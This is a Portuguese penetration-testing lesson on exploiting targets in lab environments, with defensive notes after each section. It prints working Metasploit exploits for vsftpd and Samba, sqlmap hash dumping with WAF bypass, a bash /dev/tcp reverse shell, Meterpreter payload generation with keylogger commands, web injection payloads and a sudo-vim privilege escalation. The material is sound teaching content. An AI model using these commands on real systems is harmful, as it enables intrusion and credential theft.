A exploração do alvo é o ato de “invadir” uma máquina usando exploits ou explorando falhas de configuração.
⚖️ Ética e Legalidade: Obrigatório Ler
Todo conteúdo desta aula é aplicável exclusivamente em ambientes de laboratório controlados (Metasploitable, DVWA, OWASP Juice Shop, HackTheBox, TryHackMe, PortSwigger Web Academy) com autorização explícita.
Explorar sistemas de terceiros sem autorização configura crime tipificado no Art. 154-A do Código Penal (Lei 12.737/2012, “Lei Carolina Dieckmann”):
Pena base: reclusão de 1 a 4 anos + multa
Com prejuízo econômico: acréscimo de 1/3 a 2/3
Com obtenção de dados privados/sigilosos: reclusão de 2 a 5 anos + multa
Pentest legal exige contrato de escopo assinado pelo proprietário do sistema (Rules of Engagement). Sem autorização escrita, não existe “teste educacional” que justifique o acesso.
🗺️ Fluxo Geral de Exploração
flowchart TD
A[🔍 Reconhecimento<br/>nmap, enum] --> B[🗂️ Enumeração<br/>serviços, versões, usuários]
B --> C{Vulnerabilidade<br/>identificada?}
C -- Sim --> D[🔎 Buscar Exploit<br/>searchsploit, MSF search, Exploit-DB]
C -- Não --> E[📋 Engenharia Social<br/>phishing, pretexting]
D --> F[⚙️ Configurar Exploit<br/>RHOSTS, LHOST, payload]
F --> G[🚀 Executar<br/>exploit / run]
G --> H{Shell obtido?}
H -- Sim --> I[🖥️ Pós-exploração<br/>sysinfo, getuid, hashdump]
H -- Não --> J[🔄 Ajustar payload<br/>ou tentar outra vuln]
I --> K[📝 Documentar<br/>screenshot, flags, evidências]
🛠️ Ferramentas Utilizadas
Metasploit Framework: O principal framework gratuito de exploração
sqlmap: Automação de SQL Injection
Burp Suite (Community/Professional): Proxy de interceptação para web
Hydra: Brute force de credenciais em múltiplos protocolos
Netcat / pwncat: Listeners para reverse shells
searchsploit: Busca offline no banco do Exploit-DB
🎯 Formas de Exploração
A exploração acontece de duas formas principais:
Tipo
Descrição
Engenharia Social
Não é necessária a existência de vulnerabilidades técnicas
Falha de Software
Serviço ou configuração vulnerável
Evolução dos Exploits
Antigamente, buscar exploits era difícil e as fontes eram duvidosas. Hoje, existem repositórios específicos e confiáveis.
📚 Repositórios de Exploits
Fontes Gratuitas
A maioria dos repositórios de exploits são gratuitos.
Um exploit é um pedaço de software, conjunto de dados ou sequência de comandos que aproveita uma falha ou vulnerabilidade para causar comportamento não intencional.
Tipos Mais Comuns de Exploits
Tipo
Descrição
Buffer Overflow
Sobrescreve memória ao escrever mais dados que o buffer suporta
Injection
Insere código malicioso (SQL Injection, XSS)
Zero-day
Explora vulnerabilidade desconhecida, sem patch disponível
Privilege Escalation
Obtém privilégios elevados (admin) através de bugs
Remote Code Execution (RCE)
Executa comandos remotamente no sistema alvo
Denial of Service (DoS)
Torna sistema indisponível por sobrecarga
Nota
Muitos exploits combinam várias categorias. Um buffer overflow pode permitir RCE, e um SQL injection pode levar a privilege escalation.
🔓 Vulnerabilidades
Definição
Uma vulnerabilidade é uma fraqueza que pode ser explorada para violar a integridade, disponibilidade ou confidencialidade de um sistema.
Tipos de Vulnerabilidades
Software: Bugs ou erros de programação
Hardware: Falhas em componentes físicos
Configuração: Configurações inseguras
Design: Falhas na arquitetura do sistema
Ciclo de Gerenciamento
Descoberta: Pentests, varreduras, auditorias, análise de código
Sistema que fornece referência única para vulnerabilidades conhecidas.
Formato:CVE-AAAA-BBBB
AAAA: Ano de divulgação
BBBB: Número único
Exemplo:CVE-2021-34527 (PrintNightmare)
🤖 Metasploit Framework
O Melhor Framework Gratuito
O Metasploit Framework (MSF) é o melhor framework gratuito para desenvolver, testar e usar exploits.
Arquitetura
O Metasploit é dividido em 3 categorias:
Categoria
Descrição
Bibliotecas
Base de código do framework
Interfaces
Meios de interação (msfconsole, Armitage)
Módulos
Exploits, payloads, auxiliares
Descrição dos Módulos
Módulo
Função
Exploit
Prova de conceito que a vulnerabilidade existe
Payload
Código que executa comandos no alvo (ex: shell reverso)
Shellcode
Código que causa buffer overflow
Auxiliares
Ferramentas auxiliares (scanners, sniffers, DoS)
Encoders
Burlar antivírus, firewalls, IDS
Outros Frameworks
Existem frameworks pagos como Core Impact, Immunity Canvas, Cobalt Strike e PowerShell Empire. Mas o Metasploit é gratuito, open-source e frequentemente atualizado.
Antes de usar o Metasploit, escaneie a rede para descobrir alvos:
# Escanear range de IPs (ignorar firewalls)nmap -PN 192.168.0.1-255# Verificar versões de serviçosnmap -sV 192.168.0.10 -p 80,443# Escanear todos os serviços com detecção de OS e scripts padrãonmap -sC -sV -O 192.168.0.10# Escanear todas as portas (demorado, mas completo)nmap -p- 192.168.0.10
Iniciando o Metasploit
sudo msfconsole -q
Pesquisando Exploits
# Buscar exploits para Apache 2.2.8searchsploit apache 2.2.8# Filtrar resultadossearchsploit apache 2.2.8 | grep php# Pesquisar dentro do msfconsolemsf6 > search vsftpdmsf6 > search type:exploit platform:linux sambamsf6 > search cve:2021-34527
# Informações do sistemasysinfo# Verificar privilégiosgetuid# Listar processosps# Migrar para outro processomigrate [PID]# Capturar screenshotscreenshot
🔥 Exploração Prática no Metasploitable 2
O Metasploitable 2 é uma máquina virtual Ubuntu intencionalmente vulnerável, ideal para praticar exploração em laboratório. Ela expõe dezenas de serviços vulneráveis na rede local.
Isolamento de Rede
Configure o Metasploitable em modo Host-Only ou Internal Network no VirtualBox/VMware. Nunca conecte-o diretamente à internet ou a redes reais, pois ele não possui nenhuma proteção.
Diagrama do Workflow Metasploit
sequenceDiagram
participant A as Kali Linux (atacante)
participant B as Metasploitable 2 (alvo)
A->>B: nmap -sC -sV (descoberta de serviços)
B-->>A: Resposta: vsftpd 2.3.4, Samba 3.0.20, distcc...
A->>A: search vsftpd (msfconsole)
A->>A: use exploit/unix/ftp/vsftpd_234_backdoor
A->>A: set RHOSTS (IP do Metasploitable)
A->>B: exploit (aciona backdoor porta 6200)
B-->>A: Shell root aberto
A->>A: id, whoami, uname -a
A->>A: hashdump (coleta hashes de senhas)
Exploração do vsftpd 2.3.4 (Backdoor FTP)
O vsftpd 2.3.4 contém uma backdoor inserida por um invasor desconhecido no código-fonte oficial. Quando o usuário envia um nome de usuário terminado com :) (sorriso), o daemon abre uma shell com privilégios de root na porta 6200.
CVE: CVE-2011-2523
# 1. Confirmar serviço FTP vulnerávelnmap -sV -p 21 192.168.56.101# Resultado esperado: vsftpd 2.3.4# 2. Abrir msfconsolesudo msfconsole -q# 3. Buscar o módulomsf6 > search vsftpd# 4. Selecionar o exploitmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor# 5. Ver opçõesmsf6 exploit(vsftpd_234_backdoor) > show options# 6. Configurar alvomsf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101# 7. Executarmsf6 exploit(vsftpd_234_backdoor) > exploit# Resultado esperado:# [*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)# [*] 192.168.56.101:21 - USER: 331 Please specify the password.# [+] 192.168.56.101:21 - Backdoor service has been spawned, handling...# [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)# [*] Found shell.# [*] Command shell session 1 opened
Atualizar Samba para versão >= 3.0.25c (patch disponível desde 2007)
Restringir acesso SMB ao firewall (portas 139/445 apenas para hosts confiáveis)
Desabilitar autenticação anônima no Samba
Habilitar logging de autenticação: log level = 3 no smb.conf
Tabela de Vulnerabilidades do Metasploitable 2
Serviço
Versão
CVE
Módulo MSF
Impacto
Defesa
vsftpd
2.3.4
CVE-2011-2523
exploit/unix/ftp/vsftpd_234_backdoor
Shell root
Atualizar/desabilitar FTP
Samba
3.0.20
CVE-2007-2447
exploit/multi/samba/usermap_script
Shell root
Atualizar Samba
distccd
3.1
CVE-2004-2687
exploit/unix/misc/distcc_exec
RCE como daemon
Desabilitar distccd
UnrealIRCd
3.2.8.1
CVE-2010-2075
exploit/unix/irc/unreal_ircd_3281_backdoor
Shell root
Remover serviço IRC
PHP CGI
5.3.x
CVE-2012-1823
exploit/multi/http/php_cgi_arg_injection
RCE
Atualizar PHP
🧪 Atividade 1: Explorar vsftpd no Metasploitable
Objetivo: Obter shell root no Metasploitable 2 via backdoor do vsftpd 2.3.4.
Pré-requisitos:
VM Kali Linux (atacante) em rede Host-Only
VM Metasploitable 2 (alvo) na mesma rede Host-Only
Descobrir o IP do Metasploitable com nmap -sn 192.168.56.0/24
Passo 1: Descoberta
nmap -sC -sV -p 21,22,139,445 192.168.56.101
Confirmar vsftpd 2.3.4 na porta 21.
Passo 2: Exploração
sudo msfconsole -qmsf6 > use exploit/unix/ftp/vsftpd_234_backdoormsf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101msf6 exploit(vsftpd_234_backdoor) > exploit
Passo 3: Pós-exploração
idcat /etc/shadow | head -5uname -a
Prova de sucesso: Shell aberto com uid=0(root). Copie a saída de id e cat /etc/shadow | head -3 como evidência.
Repita com Samba: use exploit/multi/samba/usermap_script com set payload cmd/unix/reverse_netcat e set LHOST <seu IP>.
💉 SQL Injection com sqlmap
SQL Injection é uma das vulnerabilidades mais comuns e críticas em aplicações web (OWASP Top 10: A03:2021). Ocorre quando dados fornecidos pelo usuário são inseridos diretamente em queries SQL sem sanitização.
Por que SQL Injection é Perigoso?
-- Query vulnerável no servidor (PHP típico)$query = "SELECT * FROM users WHERE id = " . $_GET['id'];-- Usuário envia: 1 OR 1=1-- Query resultante:SELECT * FROM users WHERE id = 1 OR 1=1-- Retorna TODOS os usuários
Tipos de SQL Injection
Tipo
Descrição
Detectável por
In-band (Union-based)
Resultado aparece diretamente na página
Erro SQL ou dados retornados
Blind Boolean-based
Resposta muda conforme condição (true/false)
Comparação de respostas
Blind Time-based
Usa SLEEP() para deduzir informação
Tempo de resposta
Out-of-band
Dados exfiltrados por canal externo (DNS, HTTP)
Tráfego de saída
Error-based
Mensagens de erro revelam estrutura do banco
Mensagens de erro SQL
Testando SQLi Manualmente
Antes de usar o sqlmap, é fundamental entender o teste manual:
# Entrada no campo de ID:
1' -- Gera erro SQL? Se sim, pode ser vulnerável
1' OR '1'='1 -- Retorna todos os registros?
1' AND 1=2-- -- Retorna zero registros?
1' UNION SELECT null,null,null-- -- Testa número de colunas
sqlmap no DVWA
O DVWA (Damn Vulnerable Web Application) é uma aplicação PHP/MySQL propositalmente vulnerável, ideal para praticar SQLi.
# 1. Obter cookie de sessão do DVWA (via browser ou Burp)# Cookie formato: PHPSESSID=abc123xyz; security=low# 2. Testar se o parâmetro é vulnerávelsqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123xyz; security=low" \ --batch# 3. Listar todos os bancos de dadossqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123xyz; security=low" \ --batch --dbs# Resultado esperado:# available databases [3]:# [*] dvwa# [*] information_schema# [*] mysql# 4. Listar tabelas do banco dvwasqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123xyz; security=low" \ --batch -D dvwa --tables# Resultado esperado:# Database: dvwa# [2 tables]:# +----------+# | guestbook|# | users |# +----------+# 5. Despejar a tabela de usuários (com hashes de senha!)sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123xyz; security=low" \ --batch -D dvwa -T users --dump# Resultado esperado:# +----+-------+----------------------------------+----------+# | id | user | password | ... |# +----+-------+----------------------------------+----------+# | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | ... |# +----+-------+----------------------------------+----------+# (hash MD5 de "password")
Decodificando Hashes MD5
O sqlmap frequentemente tenta quebrar hashes automaticamente com dicionário embutido. Você também pode usar:
# Online: crackstation.net# Local com hashcat:hashcat -m 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/rockyou.txt
Opções Avançadas do sqlmap
# Testar todos os parâmetros de um formulário POSTsqlmap -u "http://alvo/login.php" --data="user=admin&pass=test" --batch --dbs# Bypass de WAF (Web Application Firewall) com tamper scriptssqlmap -u "http://alvo/page.php?id=1" --tamper=space2comment,between --level=3 --risk=2# Dump completo de banco (use com cuidado em avaliações reais)sqlmap -u "http://alvo/page.php?id=1" --cookie="..." --dump-all --batch# Tentar obter shell via SQLi (MySQL com FILE privilege)sqlmap -u "http://alvo/page.php?id=1" --cookie="..." --os-shell
Defesa contra SQL Injection:
Prepared Statements / Parametrized Queries (solução primária): nunca concatenar input do usuário em SQL
ORMs (Eloquent, Hibernate, SQLAlchemy): abstraem queries e evitam concatenação
Princípio do mínimo privilégio: usuário do banco só lê/escreve no necessário, sem FILE, DROP, GRANT
Validação de entrada: whitelist de caracteres permitidos
Mensagens de erro genéricas: nunca expor estrutura do banco ao usuário
🧪 Atividade 2: sqlmap no DVWA
Objetivo: Extrair usuários e hashes de senha do banco DVWA usando sqlmap.
Pré-requisitos:
DVWA rodando (no Metasploitable ou Docker: docker run -d -p 80:80 vulnerables/web-dvwa)
Acessar http://<IP>/dvwa/ via browser, login admin/password, setar Security Level para “Low”
Copiar o cookie PHPSESSID do browser (F12 > Application > Cookies)
Passo 1: Confirmar vulnerabilidade
Acesse http://<IP>/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit no browser. Se aparecer erro SQL, o campo é vulnerável.
Prova de sucesso: Tabela users exibida com hashes MD5. Tente decifrar o hash do admin em crackstation.net.
🌐 Exploração Web com Burp Suite
O Burp Suite é o proxy de interceptação mais usado em pentest web. Ele se posiciona entre o browser e o servidor, permitindo inspecionar, modificar e repetir requisições HTTP.
Para HTTPS, instale o certificado CA do Burp no browser:
http://burp/ → CA Certificate → Importar no browser como CA confiável
Workflow de Interceptação e Replay
flowchart LR
A[🌐 Browser] -->|HTTP Request| B[🔧 Burp Suite<br/>Proxy]
B -->|Intercepta| C{Modificar?}
C -- Sim --> D[✏️ Editar Request<br/>parâmetros, headers, cookies]
C -- Não --> E[➡️ Forward para servidor]
D --> E
E -->|Response| F[🖥️ Servidor]
F -->|Response| B
B --> A
B -->|Send to Repeater| G[🔄 Repeater<br/>Replay manual]
B -->|Send to Intruder| H[🎯 Intruder<br/>Brute force / fuzzing]
Técnicas Essenciais no Burp
Repeater: Replay e Manipulação de Parâmetros
1. Interceptar request no Proxy
2. Clique direito > "Send to Repeater"
3. Na aba Repeater: modificar parâmetros manualmente
4. Clicar "Send" para reenviar
5. Comparar respostas lado a lado
Uso prático: testar SQLi manualmente, forçar bypass de autenticação, IDOR (Insecure Direct Object Reference).
Intruder: Fuzzing e Brute Force
1. Interceptar request de login
2. Clique direito > "Send to Intruder"
3. Aba "Positions": selecionar campo de senha (§password§)
4. Aba "Payloads": carregar wordlist (rockyou.txt, top-1000-passwords.txt)
5. Iniciar ataque > analisar coluna "Length" (resposta diferente = sucesso)
Limite de Velocidade na Versão Community
O Burp Suite Community Edition tem rate limit no Intruder. Para brute force em velocidade real, use o Hydra (veja seção abaixo).
Identificando Vulnerabilidades Comuns
# XSS Reflected: injetar no parâmetro GEThttp://alvo/busca?q=<script>alert('XSS')</script># Path Traversal: tentar acessar arquivos do sistemahttp://alvo/download?file=../../../../etc/passwd# IDOR: trocar ID de outro usuáriohttp://alvo/perfil?id=1 -> http://alvo/perfil?id=2# Open Redirect:http://alvo/redirect?url=http://malicioso.com
Defesa contra vulnerabilidades web:
XSS: escapar saída HTML (htmlspecialchars() em PHP, .textContent em JS), Content Security Policy (CSP)
Path Traversal: validar e normalizar paths, usar allowlist de diretórios
IDOR: verificar autorização no servidor (não apenas no cliente) para cada objeto acessado
Open Redirect: rejeitar URLs absolutas, usar apenas paths relativos internos
🔑 Brute Force com Hydra
O Hydra é uma ferramenta de brute force que suporta mais de 50 protocolos: SSH, FTP, HTTP, RDP, SMB, Telnet, MySQL, entre outros.
Account lockout: bloquear conta temporariamente após tentativas falhas
Alertas de login suspeito: notificar usuário de tentativas não reconhecidas
🐚 Reverse Shells
Um reverse shell é uma técnica onde o alvo se conecta de volta ao atacante, abrindo um canal de comando. É o oposto de um bind shell, onde o atacante se conecta à porta aberta no alvo.
Por que usar reverse shell? Firewalls normalmente bloqueiam conexões de fora para dentro, mas permitem conexões de dentro para fora. O reverse shell contorna esse bloqueio.
Fluxo do Reverse Shell
sequenceDiagram
participant A as Kali (atacante)<br/>192.168.56.100
participant B as Alvo (vítima)<br/>192.168.56.101
A->>A: nc -lvnp 4444 (listener)
Note over A: Aguardando conexão...
B->>A: bash -i >& /dev/tcp/192.168.56.100/4444 0>&1
Note over B: Shell reversa iniciada pelo alvo
A-->>B: Comandos remotos
B-->>A: Saída dos comandos
Uma shell básica não tem autocompletar, histórico, nem Ctrl+C funcional. Para estabilizar:
# Dentro do reverse shell obtido:# Passo 1: Spawn de pseudo-terminal Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'# (ou: python -c 'import pty; pty.spawn("/bin/bash")')# Passo 2: Enviar para backgroundCtrl+Z# Passo 3: No Kali, ajustar terminalstty raw -echo; fg# Passo 4: De volta na shell do alvoexport TERM=xtermexport SHELL=bash# Agora você tem: Ctrl+C, tab completion, setas, histórico
Reverse Shell via Metasploit (Meterpreter)
O Meterpreter é um payload avançado do Metasploit que roda em memória (sem arquivo em disco), cifra comunicação com TLS e oferece funcionalidades ricas:
# 1. Configurar handler para receber Meterpretermsf6 > use exploit/multi/handlermsf6 exploit(handler) > set payload linux/x86/meterpreter/reverse_tcpmsf6 exploit(handler) > set LHOST 192.168.56.100msf6 exploit(handler) > set LPORT 4444msf6 exploit(handler) > run -j # -j: rodar em background# 2. Gerar payload Meterpreter para upload no alvomsfvenom -p linux/x86/meterpreter/reverse_tcp \ LHOST=192.168.56.100 LPORT=4444 \ -f elf -o shell.elf# 3. Após conexão, comandos Meterpreter:meterpreter > sysinfometerpreter > getuidmeterpreter > psmeterpreter > upload /caminho/local /caminho/remotometerpreter > download /etc/shadow /tmp/shadow_dumpmeterpreter > shell # Entrar em shell do sistemameterpreter > hashdump # Dump de hashes (requer root)meterpreter > screenshot # Captura de telameterpreter > keyscan_start # Iniciar keyloggermeterpreter > run post/linux/gather/enum_system # Enumeração pós-exploração
Defesa contra reverse shells:
Egress filtering: restringir conexões de saída no firewall (somente portas/destinos necessários)
EDR (Endpoint Detection and Response): detectar comportamento de shell reversa (processo filho inesperado, conexão de /bin/bash para IP externo)
Análise de tráfego de rede: NetFlow/IDS com regras para /dev/tcp, bash -i, payloads em base64
AppArmor / SELinux: restringir quais programas podem abrir conexões de rede
HIDS (Tripwire, AIDE): detectar novos binários ou alterações em arquivos de sistema
🏴 Prática em CTF: TryHackMe e HackTheBox
Os CTFs (Capture The Flag) são a melhor forma de praticar exploração em ambiente seguro e legalizado. Plataformas como TryHackMe (THM) e HackTheBox (HTB) oferecem máquinas vulneráveis com flags a capturar.
Metodologia Padrão para Máquina CTF
flowchart TD
A[🔍 Recon Inicial<br/>nmap -sC -sV] --> B[📋 Enumerar Serviços<br/>gobuster, enum4linux, nikto]
B --> C[🎯 Identificar Vetores<br/>banner grabbing, versões]
C --> D[🔎 Pesquisar Exploits<br/>searchsploit, ExploitDB, MSF]
D --> E[⚙️ Explorar<br/>MSF / manual / SQLi / bruteforce]
E --> F[🐚 Shell Obtida<br/>user flag cat /home/*/user.txt]
F --> G[🔼 Escalada de Privilégio<br/>sudo -l, SUID, cron, kernel]
G --> H[👑 Root<br/>root flag: cat /root/root.txt]
H --> I[📝 Relatório<br/>captura de tela, comandos, CVEs]
Checklist de Enumeração Inicial
# 1. Varredura de portas completanmap -sC -sV -p- --min-rate 5000 <IP_alvo># 2. Se HTTP/HTTPS: enumerar diretóriosgobuster dir -u http://<IP_alvo> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt# 3. Se SMB (445): enumerar compartilhamentosenum4linux -a <IP_alvo>smbclient -L //<IP_alvo># 4. Se HTTP: varredura de vulnerabilidades webnikto -h http://<IP_alvo># 5. Se FTP (21): tentar login anônimoftp <IP_alvo># user: anonymous, pass: qualquer@email.com# 6. Banner grabbing manualnc <IP_alvo> <porta>
Exemplo: Máquina “Simple CTF” no TryHackMe
Esta é uma máquina gratuita no TryHackMe, ideal para iniciantes. Demonstra a metodologia completa.
# Fase 1: Reconnmap -sC -sV 10.10.x.x# Resultado: porta 21 (FTP, anon login OK), porta 80 (Apache), porta 2222 (SSH)# Fase 2: Enumerar webgobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirb/common.txt# Encontra: /simple (CMS Made Simple)# Fase 3: Identificar versão do CMS# Acesse http://10.10.x.x/simple/ e procure versão no rodapé# Ex: CMS Made Simple v2.2.8# Fase 4: Buscar exploitsearchsploit cms made simple 2.2.8# CVE-2019-9053: SQL Injection Time-Based Blind# Fase 5: Exploitar SQLi para obter credenciais# (usar exploit do ExploitDB ou sqlmap)python2 exploit.py -u http://10.10.x.x/simple/ --crack -w /usr/share/wordlists/rockyou.txt# Fase 6: SSH com credenciais obtidasssh mitch@10.10.x.x -p 2222# Senha encontrada no exploit# User flagcat /home/mitch/user.txt# Fase 7: Escalada de privilégiosudo -l# (mitch) NOPASSWD: /usr/bin/vim# Escalada via vim (GTFOBins)sudo vim -c ':!/bin/bash'id# uid=0(root)# Root flagcat /root/root.txt
GTFOBins: Escalada de Privilégio via Binários SUID/sudo
O site gtfobins.github.io cataloga como usar binários Unix para escalar privilégios quando executados com sudo ou com bit SUID. Sempre consultar após obter shell com usuário comum.
🧪 Atividade 3: Capturar Flag em Máquina CTF
Objetivo: Completar a máquina “Basic Pentesting” no TryHackMe, documentando cada passo e obtendo as flags de user e root.
nmap -sC -sV <IP_maquina># Anote todos os serviços e versões encontrados
Passo 3: Enumerar serviços
# HTTP: gobuster ou niktogobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt# SMB: enum4linuxenum4linux -a <IP>
Passo 4: Explorar
Identifique o vetor de ataque (serviço vulnerável, SQLi, credencial fraca) e aplique a técnica correspondente (Metasploit, sqlmap, Hydra, exploit manual).
Passo 5: Capturar flags
cat /home/*/user.txtcat /root/root.txt
Prova de sucesso: Screenshot do terminal mostrando a flag de root obtida + o comando id confirmando uid=0(root). Documente todos os CVEs, ferramentas e comandos usados.